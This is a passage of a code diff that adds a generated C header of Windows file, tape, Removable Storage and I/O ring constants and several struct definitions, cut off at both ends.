OPEN_ALWAYS 0x4 +#define TRUNCATE_EXISTING 0x5 +#define FileStatByNameInfo 0 +#define FileStatLxByNameInfo 1 +#define FileCaseSensitiveByNameInfo 2 +#define FileStatBasicByNameInfo 3 +#define MaximumFileInfoByNameClass 4 +#define SYMBOLIC_LINK_FLAG_DIRECTORY 0x1 +#define SYMBOLIC_LINK_FLAG_ALLOW_UNPRIVILEGED_CREATE 0x2 +#define NTMS_PRIORITY_DEFAULT 0 +#define NTMS_PRIORITY_HIGHEST 15 +#define NTMS_PRIORITY_HIGH 7 +#define NTMS_PRIORITY_NORMAL 0 +#define NTMS_PRIORITY_LOW -7 +#define NTMS_PRIORITY_LOWEST -15 +#define NTMS_UNKNOWN 0 +#define NTMS_OBJECT 1 +#define NTMS_CHANGER 2 +#define NTMS_CHANGER_TYPE 3 +#define NTMS_COMPUTER 4 +#define NTMS_DRIVE 5 +#define NTMS_DRIVE_TYPE 6 +#define NTMS_IEDOOR 7 +#define NTMS_IEPORT 8 +#define NTMS_LIBRARY 9 +#define NTMS_LIBREQUEST 10 +#define NTMS_LOGICAL_MEDIA 11 +#define NTMS_MEDIA_POOL 12 +#define NTMS_MEDIA_TYPE 13 +#define NTMS_PARTITION 14 +#define NTMS_PHYSICAL_MEDIA 15 +#define NTMS_STORAGESLOT 16 +#define NTMS_OPREQUEST 17 +#define NTMS_UI_DESTINATION 18 +#define NTMS_NUMBER_OF_OBJECT_TYPES 19 +#define VFT2_UNKNOWN 0 +#define VFT2_DRV_PRINTER 1 +#define VFT2_DRV_KEYBOARD 2 +#define VFT2_DRV_LANGUAGE 3 +#define VFT2_DRV_DISPLAY 4 +#define VFT2_DRV_MOUSE 5 +#define VFT2_DRV_NETWORK 6 +#define VFT2_DRV_SYSTEM 7 +#define VFT2_DRV_INSTALLABLE 8 +#define VFT2_DRV_SOUND 9 +#define VFT2_DRV_COMM 10 +#define VFT2_DRV_INPUTMETHOD 11 +#define VFT2_DRV_VERSIONED_PRINTER 12 +#define VFT2_FONT_RASTER 1 +#define VFT2_FONT_VECTOR 2 +#define VFT2_FONT_TRUETYPE 3 +#define NTMS_LM_QUEUED 0 +#define NTMS_LM_INPROCESS 1 +#define NTMS_LM_PASSED 2 +#define NTMS_LM_FAILED 3 +#define NTMS_LM_INVALID 4 +#define NTMS_LM_WAITING 5 +#define NTMS_LM_DEFERRED 6 +#define NTMS_LM_DEFFERED 6 +#define NTMS_LM_CANCELLED 7 +#define NTMS_LM_STOPPED 8 +#define NTMS_SESSION_QUERYEXPEDITE 1 +#define FILE_TYPE_UNKNOWN 0x0 +#define FILE_TYPE_DISK 0x1 +#define FILE_TYPE_CHAR 0x2 +#define FILE_TYPE_PIPE 0x3 +#define FILE_TYPE_REMOTE 0x8000 +#define NTMS_ASYNCOP_MOUNT 1 +#define FILE_ATTRIBUTE_READONLY 0x1 +#define FILE_ATTRIBUTE_HIDDEN 0x2 +#define FILE_ATTRIBUTE_SYSTEM 0x4 +#define FILE_ATTRIBUTE_DIRECTORY 0x10 +#define FILE_ATTRIBUTE_ARCHIVE 0x20 +#define FILE_ATTRIBUTE_DEVICE 0x40 +#define FILE_ATTRIBUTE_NORMAL 0x80 +#define FILE_ATTRIBUTE_TEMPORARY 0x100 +#define FILE_ATTRIBUTE_SPARSE_FILE 0x200 +#define FILE_ATTRIBUTE_REPARSE_POINT 0x400 +#define FILE_ATTRIBUTE_COMPRESSED 0x800 +#define FILE_ATTRIBUTE_OFFLINE 0x1000 +#define FILE_ATTRIBUTE_NOT_CONTENT_INDEXED 0x2000 +#define FILE_ATTRIBUTE_ENCRYPTED 0x4000 +#define FILE_ATTRIBUTE_INTEGRITY_STREAM 0x8000 +#define FILE_ATTRIBUTE_VIRTUAL 0x10000 +#define FILE_ATTRIBUTE_NO_SCRUB_DATA 0x20000 +#define FILE_ATTRIBUTE_EA 0x40000 +#define FILE_ATTRIBUTE_PINNED 0x80000 +#define FILE_ATTRIBUTE_UNPINNED 0x100000 +#define FILE_ATTRIBUTE_RECALL_ON_OPEN 0x40000 +#define FILE_ATTRIBUTE_RECALL_ON_DATA_ACCESS 0x400000 +#define FILE_FLAG_WRITE_THROUGH 0x80000000 +#define FILE_FLAG_OVERLAPPED 0x40000000 +#define FILE_FLAG_NO_BUFFERING 0x20000000 +#define FILE_FLAG_RANDOM_ACCESS 0x10000000 +#define FILE_FLAG_SEQUENTIAL_SCAN 0x8000000 +#define FILE_FLAG_DELETE_ON_CLOSE 0x4000000 +#define FILE_FLAG_BACKUP_SEMANTICS 0x2000000 +#define FILE_FLAG_POSIX_SEMANTICS 0x1000000 +#define FILE_FLAG_SESSION_AWARE 0x800000 +#define FILE_FLAG_OPEN_REPARSE_POINT 0x200000 +#define FILE_FLAG_OPEN_NO_RECALL 0x100000 +#define FILE_FLAG_FIRST_PIPE_INSTANCE 0x80000 +#define PIPE_ACCESS_DUPLEX 0x3 +#define PIPE_ACCESS_INBOUND 0x1 +#define PIPE_ACCESS_OUTBOUND 0x2 +#define SECURITY_ANONYMOUS 0x0 +#define SECURITY_IDENTIFICATION 0x10000 +#define SECURITY_IMPERSONATION 0x20000 +#define SECURITY_DELEGATION 0x30000 +#define SECURITY_CONTEXT_TRACKING 0x40000 +#define SECURITY_EFFECTIVE_ONLY 0x80000 +#define SECURITY_SQOS_PRESENT 0x100000 +#define SECURITY_VALID_SQOS_FLAGS 0x1f0000 +#define TAPE_FIXED_PARTITIONS 0x0 +#define TAPE_INITIATOR_PARTITIONS 0x2 +#define TAPE_SELECT_PARTITIONS 0x1 +#define NTMS_MOUNT_READ 1 +#define NTMS_MOUNT_WRITE 2 +#define NTMS_MOUNT_ERROR_NOT_AVAILABLE 4 +#define NTMS_MOUNT_ERROR_IF_UNAVAILABLE 4 +#define NTMS_MOUNT_ERROR_OFFLINE 8 +#define NTMS_MOUNT_ERROR_IF_OFFLINE 8 +#define NTMS_MOUNT_SPECIFIC_DRIVE 16 +#define NTMS_MOUNT_NOWAIT 32 +#define NTMS_INJECT_START 0 +#define NTMS_INJECT_STOP 1 +#define NTMS_INJECT_RETRACT 2 +#define NTMS_INJECT_STARTMANY 3 +#define IoPriorityHintVeryLow 0 +#define IoPriorityHintLow 1 +#define IoPriorityHintNormal 2 +#define MaximumIoPriorityHintType 3 +#define NTMS_ERROR_ON_DUPLICATE 1 +#define VS_FF_DEBUG 0x1 +#define VS_FF_PRERELEASE 0x2 +#define VS_FF_PATCHED 0x4 +#define VS_FF_PRIVATEBUILD 0x8 +#define VS_FF_INFOINFERRED 0x10 +#define VS_FF_SPECIALBUILD 0x20 +#define NTMS_OBJ_UPDATE 1 +#define NTMS_OBJ_INSERT 2 +#define NTMS_OBJ_DELETE 3 +#define NTMS_EVENT_SIGNAL 4 +#define NTMS_EVENT_COMPLETE 5 +#define NTMS_LIBRARYFLAG_FIXEDOFFLINE 1 +#define NTMS_LIBRARYFLAG_CLEANERPRESENT 2 +#define NTMS_LIBRARYFLAG_AUTODETECTCHANGE 4 +#define NTMS_LIBRARYFLAG_IGNORECLEANERUSESREMAINING 8 +#define NTMS_LIBRARYFLAG_RECOGNIZECLEANERBARCODE 16 +#define TAPE_ERASE_LONG 0x1 +#define TAPE_ERASE_SHORT 0x0 +#define FileBasicInfo 0 +#define FileStandardInfo 1 +#define FileNameInfo 2 +#define FileRenameInfo 3 +#define FileDispositionInfo 4 +#define FileAllocationInfo 5 +#define FileEndOfFileInfo 6 +#define FileStreamInfo 7 +#define FileCompressionInfo 8 +#define FileAttributeTagInfo 9 +#define FileIdBothDirectoryInfo 10 +#define FileIdBothDirectoryRestartInfo 11 +#define FileIoPriorityHintInfo 12 +#define FileRemoteProtocolInfo 13 +#define FileFullDirectoryInfo 14 +#define FileFullDirectoryRestartInfo 15 +#define FileStorageInfo 16 +#define FileAlignmentInfo 17 +#define FileIdInfo 18 +#define FileIdExtdDirectoryInfo 19 +#define FileIdExtdDirectoryRestartInfo 20 +#define FileDispositionInfoEx 21 +#define FileRenameInfoEx 22 +#define FileCaseSensitiveInfo 23 +#define FileNormalizedNameInfo 24 +#define MaximumFileInfoByHandleClass 25 +#define NTMS_LM_REMOVE 0 +#define NTMS_LM_DISABLECHANGER 1 +#define NTMS_LM_DISABLELIBRARY 1 +#define NTMS_LM_ENABLECHANGER 2 +#define NTMS_LM_ENABLELIBRARY 2 +#define NTMS_LM_DISABLEDRIVE 3 +#define NTMS_LM_ENABLEDRIVE 4 +#define NTMS_LM_DISABLEMEDIA 5 +#define NTMS_LM_ENABLEMEDIA 6 +#define NTMS_LM_UPDATEOMID 7 +#define NTMS_LM_INVENTORY 8 +#define NTMS_LM_DOORACCESS 9 +#define NTMS_LM_EJECT 10 +#define NTMS_LM_EJECTCLEANER 11 +#define NTMS_LM_INJECT 12 +#define NTMS_LM_INJECTCLEANER 13 +#define NTMS_LM_PROCESSOMID 14 +#define NTMS_LM_CLEANDRIVE 15 +#define NTMS_LM_DISMOUNT 16 +#define NTMS_LM_MOUNT 17 +#define NTMS_LM_WRITESCRATCH 18 +#define NTMS_LM_CLASSIFY 19 +#define NTMS_LM_RESERVECLEANER 20 +#define NTMS_LM_RELEASECLEANER 21 +#define NTMS_LM_MAXWORKITEM 22 +#define NTMS_UIDEST_ADD 1 +#define NTMS_UIDEST_DELETE 2 +#define NTMS_UIDEST_DELETEALL 3 +#define NTMS_UIOPERATION_MAX 4 +#define VOLUME_NAME_DOS 0x0 +#define VOLUME_NAME_GUID 0x1 +#define VOLUME_NAME_NT 0x2 +#define VOLUME_NAME_NONE 0x4 +#define FILE_NAME_NORMALIZED 0x0 +#define FILE_NAME_OPENED 0x8 +#define CALLBACK_CHUNK_FINISHED 0x0 +#define CALLBACK_STREAM_SWITCH 0x1 +#define ClsIoStatsDefault 0 +#define ClsIoStatsMax 65535 +#define FILE_ACTION_ADDED 0x1 +#define FILE_ACTION_REMOVED 0x2 +#define FILE_ACTION_MODIFIED 0x3 +#define FILE_ACTION_RENAMED_OLD_NAME 0x4 +#define FILE_ACTION_RENAMED_NEW_NAME 0x5 +#define DISKQUOTA_USERNAME_RESOLVE_ASYNC 0x2 +#define DISKQUOTA_USERNAME_RESOLVE_NONE 0x0 +#define DISKQUOTA_USERNAME_RESOLVE_SYNC 0x1 +#define GET_TAPE_DRIVE_INFORMATION 0x1 +#define GET_TAPE_MEDIA_INFORMATION 0x0 +#define COPY_FILE_FAIL_IF_EXISTS 0x1 +#define COPY_FILE_RESTARTABLE 0x2 +#define COPY_FILE_OPEN_SOURCE_FOR_WRITE 0x4 +#define COPY_FILE_ALLOW_DECRYPTED_DESTINATION 0x8 +#define COPY_FILE_COPY_SYMLINK 0x800 +#define COPY_FILE_NO_BUFFERING 0x1000 +#define COPY_FILE_REQUEST_SECURITY_PRIVILEGES 0x2000 +#define COPY_FILE_RESUME_FROM_PAUSE 0x4000 +#define COPY_FILE_NO_OFFLOAD 0x40000 +#define COPY_FILE_IGNORE_EDP_BLOCK 0x400000 +#define COPY_FILE_IGNORE_SOURCE_ENCRYPTION 0x800000 +#define COPY_FILE_DONT_REQUEST_DEST_WRITE_DAC 0x2000000 +#define COPY_FILE_REQUEST_COMPRESSED_TRAFFIC 0x10000000 +#define COPY_FILE_OPEN_AND_COPY_REPARSE_POINT 0x200000 +#define COPY_FILE_DIRECTORY 0x80 +#define COPY_FILE_SKIP_ALTERNATE_STREAMS 0x8000 +#define COPY_FILE_DISABLE_PRE_ALLOCATION 0x4000000 +#define COPY_FILE_ENABLE_LOW_FREE_SPACE_MODE 0x8000000 +#define COPY_FILE_ENABLE_SPARSE_COPY 0x20000000 +#define COPY_FILE_DISABLE_SPARSE_COPY 0x80000000 +#define COPYFILE2_CALLBACK_NONE 0 +#define COPYFILE2_CALLBACK_CHUNK_STARTED 1 +#define COPYFILE2_CALLBACK_CHUNK_FINISHED 2 +#define COPYFILE2_CALLBACK_STREAM_STARTED 3 +#define COPYFILE2_CALLBACK_STREAM_FINISHED 4 +#define COPYFILE2_CALLBACK_POLL_CONTINUE 5 +#define COPYFILE2_CALLBACK_ERROR 6 +#define COPYFILE2_CALLBACK_MAX 7 +#define NTMS_UITYPE_INVALID 0 +#define NTMS_UITYPE_INFO 1 +#define NTMS_UITYPE_REQ 2 +#define NTMS_UITYPE_ERR 3 +#define NTMS_UITYPE_MAX 4 +#define IORING_OP_NOP 0 +#define IORING_OP_READ 1 +#define IORING_OP_REGISTER_FILES 2 +#define IORING_OP_REGISTER_BUFFERS 3 +#define IORING_OP_CANCEL 4 +#define IORING_OP_WRITE 5 +#define IORING_OP_FLUSH 6 +#define IORING_OP_READ_SCATTER 7 +#define IORING_OP_WRITE_GATHER 8 +#define PERM_FILE_READ 0x1 +#define PERM_FILE_WRITE 0x2 +#define PERM_FILE_CREATE 0x4 +#define NTMS_SLOTSTATE_UNKNOWN 0 +#define NTMS_SLOTSTATE_FULL 1 +#define NTMS_SLOTSTATE_EMPTY 2 +#define NTMS_SLOTSTATE_NOTPRESENT 3 +#define NTMS_SLOTSTATE_NEEDSINVENTORY 4 +#define ClfsContextNone 0 +#define ClfsContextUndoNext 1 +#define ClfsContextPrevious 2 +#define ClfsContextForward 3 +#define FILE_DISPOSITION_FLAG_DO_NOT_DELETE 0x0 +#define FILE_DISPOSITION_FLAG_DELETE 0x1 +#define FILE_DISPOSITION_FLAG_POSIX_SEMANTICS 0x2 +#define FILE_DISPOSITION_FLAG_FORCE_IMAGE_SECTION_CHECK 0x4 +#define FILE_DISPOSITION_FLAG_ON_CLOSE 0x8 +#define FILE_DISPOSITION_FLAG_IGNORE_READONLY_ATTRIBUTE 0x10 +#define IORING_CREATE_ADVISORY_FLAGS_NONE 0 +#define IORING_CREATE_SKIP_BUILDER_PARAM_CHECKS 1 +#define NTMS_DEALLOCATE_TOSCRATCH 1 +#define NTMS_PORTCONTENT_UNKNOWN 0 +#define NTMS_PORTCONTENT_FULL 1 +#define NTMS_PORTCONTENT_EMPTY 2 +#define NTMS_PARTSTATE_UNKNOWN 0 +#define NTMS_PARTSTATE_UNPREPARED 1 +#define NTMS_PARTSTATE_INCOMPATIBLE 2 +#define NTMS_PARTSTATE_DECOMMISSIONED 3 +#define NTMS_PARTSTATE_AVAILABLE 4 +#define NTMS_PARTSTATE_ALLOCATED 5 +#define NTMS_PARTSTATE_COMPLETE 6 +#define NTMS_PARTSTATE_FOREIGN 7 +#define NTMS_PARTSTATE_IMPORT 8 +#define NTMS_PARTSTATE_RESERVED 9 +#define IOSQE_FLAGS_NONE 0 +#define IOSQE_FLAGS_DRAIN_PRECEDING_OPS 1 +#define VIF_TEMPFILE 0x1 +#define VIF_MISMATCH 0x2 +#define VIF_SRCOLD 0x4 +#define VIF_DIFFLANG 0x8 +#define VIF_DIFFCODEPG 0x10 +#define VIF_DIFFTYPE 0x20 +#define VIF_WRITEPROT 0x40 +#define VIF_FILEINUSE 0x80 +#define VIF_OUTOFSPACE 0x100 +#define VIF_ACCESSVIOLATION 0x200 +#define VIF_SHARINGVIOLATION 0x400 +#define VIF_CANNOTCREATE 0x800 +#define VIF_CANNOTDELETE 0x1000 +#define VIF_CANNOTRENAME 0x2000 +#define VIF_CANNOTDELETECUR 0x4000 +#define VIF_OUTOFMEMORY 0x8000 +#define VIF_CANNOTREADSRC 0x10000 +#define VIF_CANNOTREADDST 0x20000 +#define VIF_BUFFTOOSMALL 0x40000 +#define VIF_CANNOTLOADLZ32 0x80000 +#define VIF_CANNOTLOADCABINET 0x100000 +#define BusTypeUnknown 0 +#define BusTypeScsi 1 +#define BusTypeAtapi 2 +#define BusTypeAta 3 +#define BusType1394 4 +#define BusTypeSsa 5 +#define BusTypeFibre 6 +#define BusTypeUsb 7 +#define BusTypeRAID 8 +#define BusTypeiScsi 9 +#define BusTypeSas 10 +#define BusTypeSata 11 +#define BusTypeSd 12 +#define BusTypeMmc 13 +#define BusTypeVirtual 14 +#define BusTypeFileBackedVirtual 15 +#define BusTypeSpaces 16 +#define BusTypeNvme 17 +#define BusTypeSCM 18 +#define BusTypeUfs 19 +#define BusTypeNvmeof 20 +#define BusTypeMax 21 +#define BusTypeMaxReserved 127 +#define TAPE_ABSOLUTE_BLOCK 0x1 +#define TAPE_LOGICAL_BLOCK 0x2 +#define TAPE_REWIND 0x0 +#define TAPE_SPACE_END_OF_DATA 0x4 +#define TAPE_SPACE_FILEMARKS 0x6 +#define TAPE_SPACE_RELATIVE_BLOCKS 0x5 +#define TAPE_SPACE_SEQUENTIAL_FMKS 0x7 +#define TAPE_SPACE_SEQUENTIAL_SMKS 0x9 +#define TAPE_SPACE_SETMARKS 0x8 +#define VFFF_ISSHAREDFILE 0x1 +#define NTMS_POOLTYPE_UNKNOWN 0 +#define NTMS_POOLTYPE_SCRATCH 1 +#define NTMS_POOLTYPE_FOREIGN 2 +#define NTMS_POOLTYPE_IMPORT 3 +#define NTMS_POOLTYPE_APPLICATION 1000 +#define NTMS_POOLPOLICY_PURGEOFFLINESCRATCH 1 +#define NTMS_POOLPOLICY_KEEPOFFLINEIMPORT 2 +#define IORING_CREATE_REQUIRED_FLAGS_NONE 0 +#define MOVEFILE_COPY_ALLOWED 0x2 +#define MOVEFILE_CREATE_HARDLINK 0x10 +#define MOVEFILE_DELAY_UNTIL_REBOOT 0x4 +#define MOVEFILE_REPLACE_EXISTING 0x1 +#define MOVEFILE_WRITE_THROUGH 0x8 +#define MOVEFILE_FAIL_IF_NOT_TRACKABLE 0x20 +#define FileIdType 0 +#define ObjectIdType 1 +#define ExtendedFileIdType 2 +#define MaximumFileIdType 3 +#define NTMS_OMID_TYPE_FILESYSTEM_INFO 0x2 +#define NTMS_OMID_TYPE_RAW_LABEL 0x1 +#define TransactionOutcomeUndetermined 1 +#define TransactionOutcomeCommitted 2 +#define TransactionOutcomeAborted 3 +#define ClfsMgmtAdvanceTailNotification 0 +#define ClfsMgmtLogFullHandlerNotification 1 +#define ClfsMgmtLogUnpinnedNotification 2 +#define ClfsMgmtLogWriteNotification 3 +#define VFT_UNKNOWN 0 +#define VFT_APP 1 +#define VFT_DLL 2 +#define VFT_DRV 3 +#define VFT_FONT 4 +#define VFT_VXD 5 +#define VFT_STATIC_LIB 7 +#define FindExSearchNameMatch 0 +#define FindExSearchLimitToDirectories 1 +#define FindExSearchLimitToDevices 2 +#define FindExSearchMaxSearchOp 3 +#define NTMS_INVENTORY_NONE 0 +#define NTMS_INVENTORY_FAST 1 +#define NTMS_INVENTORY_OMID 2 +#define NTMS_INVENTORY_DEFAULT 3 +#define NTMS_INVENTORY_SLOT 4 +#define NTMS_INVENTORY_STOP 5 +#define NTMS_INVENTORY_MAX 6 +#define NTMS_ASYNCSTATE_QUEUED 0 +#define NTMS_ASYNCSTATE_WAIT_RESOURCE 1 +#define NTMS_ASYNCSTATE_WAIT_OPERATOR 2 +#define NTMS_ASYNCSTATE_INPROCESS 3 +#define NTMS_ASYNCSTATE_COMPLETE 4 +#define FIND_FIRST_EX_CASE_SENSITIVE 0x1 +#define FIND_FIRST_EX_LARGE_FETCH 0x2 +#define FIND_FIRST_EX_ON_DISK_ENTRIES_ONLY 0x4 +#define NTMS_OPSTATE_UNKNOWN 0 +#define NTMS_OPSTATE_SUBMITTED 1 +#define NTMS_OPSTATE_ACTIVE 2 +#define NTMS_OPSTATE_INPROGRESS 3 +#define NTMS_OPSTATE_REFUSED 4 +#define NTMS_OPSTATE_COMPLETE 5 +#define ReadDirectoryNotifyInformation 1 +#define ReadDirectoryNotifyExtendedInformation 2 +#define ReadDirectoryNotifyFullInformation 3 +#define ReadDirectoryNotifyMaximumInformation 4 +#define FILE_FLUSH_DEFAULT 0 +#define FILE_FLUSH_DATA 1 +#define FILE_FLUSH_MIN_METADATA 2 +#define FILE_FLUSH_NO_SYNC 3 +#define TAPE_ABSOLUTE_POSITION 0x0 +#define TAPE_LOGICAL_POSITION 0x1 +#define NTMS_USE_ACCESS 1 +#define NTMS_MODIFY_ACCESS 2 +#define NTMS_CONTROL_ACCESS 4 +#define NTMS_DOORSTATE_UNKNOWN 0 +#define NTMS_DOORSTATE_CLOSED 1 +#define NTMS_DOORSTATE_OPEN 2 +#define DDD_RAW_TARGET_PATH 0x1 +#define DDD_REMOVE_DEFINITION 0x2 +#define DDD_EXACT_MATCH_ON_REMOVE 0x4 +#define DDD_NO_BROADCAST_SYSTEM 0x8 +#define DDD_LUID_BROADCAST_DRIVE 0x10 +#define CLFS_FLAG_FORCE_APPEND 0x1 +#define CLFS_FLAG_FORCE_FLUSH 0x2 +#define CLFS_FLAG_NO_FLAGS 0x0 +#define CLFS_FLAG_USE_RESERVATION 0x4 +#define FILE_NOTIFY_CHANGE_FILE_NAME 0x1 +#define FILE_NOTIFY_CHANGE_DIR_NAME 0x2 +#define FILE_NOTIFY_CHANGE_ATTRIBUTES 0x4 +#define FILE_NOTIFY_CHANGE_SIZE 0x8 +#define FILE_NOTIFY_CHANGE_LAST_WRITE 0x10 +#define FILE_NOTIFY_CHANGE_LAST_ACCESS 0x20 +#define FILE_NOTIFY_CHANGE_CREATION 0x40 +#define FILE_NOTIFY_CHANGE_SECURITY 0x100 +#define FindStreamInfoStandard 0 +#define FindStreamInfoMaxInfoLevel 1 +#define NTMS_OPREQ_UNKNOWN 0 +#define NTMS_OPREQ_NEWMEDIA 1 +#define NTMS_OPREQ_CLEANER 2 +#define NTMS_OPREQ_DEVICESERVICE 3 +#define NTMS_OPREQ_MOVEMEDIA 4 +#define NTMS_OPREQ_MESSAGE 5 +#define IORING_FEATURE_FLAGS_NONE 0 +#define IORING_FEATURE_UM_EMULATION 1 +#define IORING_FEATURE_SET_COMPLETION_EVENT 2 +#define NTMS_UNKNOWN_DRIVE 0 +#define TXFS_MINIVERSION_COMMITTED_VIEW 0x0 +#define TXFS_MINIVERSION_DIRTY_VIEW 0xffff +#define TXFS_MINIVERSION_DEFAULT_VIEW 0xfffe +#define TAPE_FILEMARKS 0x1 +#define TAPE_LONG_FILEMARKS 0x3 +#define TAPE_SETMARKS 0x0 +#define TAPE_SHORT_FILEMARKS 0x2 +#define FILE_SHARE_NONE 0x0 +#define FILE_SHARE_DELETE 0x4 +#define FILE_SHARE_READ 0x1 +#define FILE_SHARE_WRITE 0x2 +#define FILE_WRITE_FLAGS_NONE 0 +#define FILE_WRITE_FLAGS_WRITE_THROUGH 1 +#define CREATE_BIND_LINK_FLAG_NONE 0 +#define CREATE_BIND_LINK_FLAG_READ_ONLY 1 +#define CREATE_BIND_LINK_FLAG_MERGED 2 +#define ACCESS_READ 0x1 +#define ACCESS_WRITE 0x2 +#define ACCESS_CREATE 0x4 +#define ACCESS_EXEC 0x8 +#define ACCESS_DELETE 0x10 +#define ACCESS_ATRIB 0x20 +#define ACCESS_PERM 0x40 +#define ACCESS_ALL 0x8000 +#define ClfsLogArchiveEnabled 1 +#define ClfsLogArchiveDisabled 2 +#define VFF_CURNEDEST 0x1 +#define VFF_FILEINUSE 0x2 +#define VFF_BUFFTOOSMALL 0x4 +#define VOS_UNKNOWN 0x0 +#define VOS_DOS 0x10000 +#define VOS_OS216 0x20000 +#define VOS_OS232 0x30000 +#define VOS_NT 0x40000 +#define VOS_WINCE 0x50000 +#define VOS__BASE 0x0 +#define VOS__WINDOWS16 0x1 +#define VOS__PM16 0x2 +#define VOS__PM32 0x3 +#define VOS__WINDOWS32 0x4 +#define VOS_DOS_WINDOWS16 0x10001 +#define VOS_DOS_WINDOWS32 0x10004 +#define VOS_OS216_PM16 0x20002 +#define VOS_OS232_PM32 0x30003 +#define VOS_NT_WINDOWS32 0x40004 +#define NTMS_OPREQFLAGS_NOAUTOPURGE 1 +#define NTMS_OPREQFLAGS_NOFAILEDPURGE 2 +#define NTMS_OPREQFLAGS_NOALERTS 16 +#define NTMS_OPREQFLAGS_NOTRAYICON 32 +#define FILE_VER_GET_LOCALISED 0x1 +#define FILE_VER_GET_NEUTRAL 0x2 +#define FILE_VER_GET_PREFETCHED 0x4 +#define ClsContextNone 0 +#define ClsContextUndoNext 1 +#define ClsContextPrevious 2 +#define ClsContextForward 3 +#define NTMS_BARCODESTATE_OK 1 +#define NTMS_BARCODESTATE_UNREADABLE 2 +#define REPLACEFILE_WRITE_THROUGH 0x1 +#define REPLACEFILE_IGNORE_MERGE_ERRORS 0x2 +#define REPLACEFILE_IGNORE_ACL_ERRORS 0x4 +#define IORING_VERSION_INVALID 0 +#define IORING_VERSION_1 1 +#define IORING_VERSION_2 2 +#define IORING_VERSION_3 300 +#define IORING_VERSION_4 400 +#define FILE_DEVICE_CD_ROM 0x2 +#define FILE_DEVICE_DISK 0x7 +#define FILE_DEVICE_TAPE 0x1f +#define FILE_DEVICE_DVD 0x33 +#define LOCKFILE_EXCLUSIVE_LOCK 0x2 +#define LOCKFILE_FAIL_IMMEDIATELY 0x1 +#define PROGRESS_CONTINUE 0x0 +#define PROGRESS_CANCEL 0x1 +#define PROGRESS_STOP 0x2 +#define PROGRESS_QUIET 0x3 +#define NTMS_EJECT_START 0 +#define NTMS_EJECT_STOP 1 +#define NTMS_EJECT_QUEUE 2 +#define NTMS_EJECT_FORCE 3 +#define NTMS_EJECT_IMMEDIATE 4 +#define NTMS_EJECT_ASK_USER 5 +#define FindExInfoStandard 0 +#define FindExInfoBasic 1 +#define FindExInfoMaxInfoLevel 2 +#define BACKUP_ALTERNATE_DATA 0x4 +#define BACKUP_DATA 0x1 +#define BACKUP_EA_DATA 0x2 +#define BACKUP_LINK 0x5 +#define BACKUP_OBJECT_ID 0x7 +#define BACKUP_PROPERTY_DATA 0x6 +#define BACKUP_REPARSE_DATA 0x8 +#define BACKUP_SECURITY_DATA 0x3 +#define BACKUP_SPARSE_BLOCK 0x9 +#define BACKUP_TXFS_DATA 0xa +#define IORING_REF_RAW 0 +#define IORING_REF_REGISTERED 1 +#define NTMS_MEDIASTATE_IDLE 0 +#define NTMS_MEDIASTATE_INUSE 1 +#define NTMS_MEDIASTATE_MOUNTED 2 +#define NTMS_MEDIASTATE_LOADED 3 +#define NTMS_MEDIASTATE_UNLOADED 4 +#define NTMS_MEDIASTATE_OPERROR 5 +#define NTMS_MEDIASTATE_OPREQ 6 +#define SESS_GUEST 0x1 +#define SESS_NOENCRYPTION 0x2 +#define NTMS_ALLOCATE_NEW 1 +#define NTMS_ALLOCATE_NEXT 2 +#define NTMS_ALLOCATE_ERROR_IF_UNAVAILABLE 4 +#define NTMS_LIBREQFLAGS_NOAUTOPURGE 1 +#define NTMS_LIBREQFLAGS_NOFAILEDPURGE 2 +#define NTMS_MEDIARW_UNKNOWN 0 +#define NTMS_MEDIARW_REWRITABLE 1 +#define NTMS_MEDIARW_WRITEONCE 2 +#define NTMS_MEDIARW_READONLY 3 +#define DIRECTORY_FLAGS_NONE 0 +#define DIRECTORY_FLAGS_DISALLOW_PATH_REDIRECTS 1 +#define COMPRESSION_FORMAT_NONE 0x0 +#define COMPRESSION_FORMAT_DEFAULT 0x1 +#define COMPRESSION_FORMAT_LZNT1 0x2 +#define COMPRESSION_FORMAT_XPRESS 0x3 +#define COMPRESSION_FORMAT_XPRESS_HUFF 0x4 +#define COMPRESSION_FORMAT_XP10 0x5 +#define COMPRESSION_FORMAT_LZ4 0x6 +#define COMPRESSION_FORMAT_DEFLATE 0x7 +#define COMPRESSION_FORMAT_ZLIB 0x8 + +typedef struct _VOLUME_ALLOCATE_BC_STREAM_INPUT { + unsigned int Version; + unsigned int RequestsPerPeriod; + unsigned int Period; + BOOL RetryFailures; + BOOL Discardable; + BOOL Reserved1[2]; + unsigned long long LowestByteOffset; + unsigned long long HighestByteOffset; + unsigned int AccessType; + unsigned int AccessMode; +} VOLUME_ALLOCATE_BC_STREAM_INPUT; + +typedef struct _TXF_LOG_RECORD_BASE { + unsigned short Version; + void* RecordType; + unsigned int RecordLength; +} TXF_LOG_RECORD_BASE; + +typedef struct _SHARE_INFO_1501 { + unsigned int shi1501_reserved; + void* shi1501_security_descriptor; +} SHARE_INFO_1501; + +typedef struct _STAT_WORKSTATION_0 { + long long StatisticsStartTime; + long long BytesReceived; + long long SmbsReceived; + long long PagingReadBytesRequested; + long long NonPagingReadBytesRequested; + long long CacheReadBytesRequested; + long long NetworkReadBytesRequested; + long long BytesTransmitted; + long long SmbsTransmitted; + long long PagingWriteBytesRequested; + long long NonPagingWriteBytesRequested; + long long CacheWriteBytesRequested; + long long NetworkWriteBytesRequested; + unsigned int InitiallyFailedOperations; + unsigned int FailedCompletionOperations; + unsigned int ReadOperations; + unsigned int RandomReadOperations; + unsigned int ReadSmbs; + unsigned int LargeReadSmbs; + unsigned int SmallReadSmbs; + unsigned int WriteOperations; + unsigned int RandomWriteOperations; + unsigned int WriteSmbs; + unsigned int LargeWriteSmbs; + unsigned int SmallWriteSmbs; + unsigned int RawReadsDenied; + unsigned int RawWritesDenied; + unsigned int NetworkErrors; + unsigned int Sessions; + unsigned int FailedSessions; + unsigned int Reconnects; + unsigned int CoreConnects; + unsigned int Lanman20Connects; + unsigned int Lanman21Connects; + unsigned int LanmanNtConnects; + unsigned int ServerDisconnects; + unsigned int HungSessions; + unsigned int UseCount; + unsigned int FailedUseCount; + unsigned int CurrentCommands; +} STAT_WORKSTATION_0; + +typedef struct _FILE_ALLOCATION_INFO { + long long AllocationSize; +} FILE_ALLOCATION_INFO; + +typedef struct _FILE_END_OF_FILE_INFO { + long long EndOfFile; +} FILE_END_OF_FILE_INFO; + +typedef struct _FILE_REMOTE_PROTOCOL_INFO { + unsigned short StructureVersion; + unsigned short StructureSize; + unsigned int Protocol; + unsigned short ProtocolMajorVersion; + unsigned short ProtocolMinorVersion; + unsigned short ProtocolRevision; + unsigned short Reserved; + unsigned int Flags; + void* GenericReserved; + void* ProtocolSpecific; +} 